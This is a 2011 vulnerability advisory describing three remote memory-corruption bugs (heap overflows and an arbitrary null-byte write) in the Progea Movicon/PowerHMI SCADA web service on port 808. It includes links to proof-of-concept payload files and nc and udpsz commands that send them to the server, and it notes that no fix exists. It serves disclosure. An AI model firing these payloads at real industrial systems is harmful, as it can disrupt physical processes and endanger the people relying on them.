####################################################################### Luigi Auriemma Application: Progea Movicon / PowerHMI http://www.progea.com Versions: <= 11.2.1085 Platforms: Windows Bug: memory corruption Exploitation: remote Date: 13 Sep 2011 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== Movicon is an italian SCADA/HMI software. ####################################################################### ====== 2-1) Bug ====== When the software runs a project it listens on port 808 for accepting some HTTP requests. The server is affected by a heap overflow caused by the usage of a negative Content-Length field which allows to corrupt the memory through "memcpy(heap_buffer, input, content_length_size)". ####################################################################### =========== 3-1) The Code =========== http://aluigi.org/poc/movicon_1.dat https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17842-1.dat nc SERVER 808 < movicon_1.dat ####################################################################### ====== 2-2) Bug ====== When the software runs a project it listens on port 808 for accepting some HTTP requests. The server is affected by a heap overflow caused by the usage of a buffer of 8192 bytes for containing the incoming HTTP requests. ####################################################################### =========== 3-2) The Code =========== http://aluigi.org/testz/udpsz.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15707.zip udpsz -T -b 0x61 SERVER 808 10000 ####################################################################### ====== 2-3) Bug ====== When the software runs a project it listens on port 808 for accepting some HTTP requests and on port 12233 for a particular "EIDP" protocol. Through a too big size field in the "EIDP" packets tunnelled via the web service (doesn't seem possible to exploit the bug via the original port) it's possible to write a 0x00 byte in an arbitrary memory zone higher than 0x7fffffff: 00a29001 c6041100 mov byte ptr [ecx+edx],0 ds:0023:80616161=?? This limitation could make the bug interesting only in some 64bit environments. ####################################################################### =========== 3-3) The Code =========== http://aluigi.org/poc/movicon_3.dat https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17842-3.dat nc SERVER 808 < movicon_3.dat ####################################################################### ====== 4) Fix ====== No fix. #######################################################################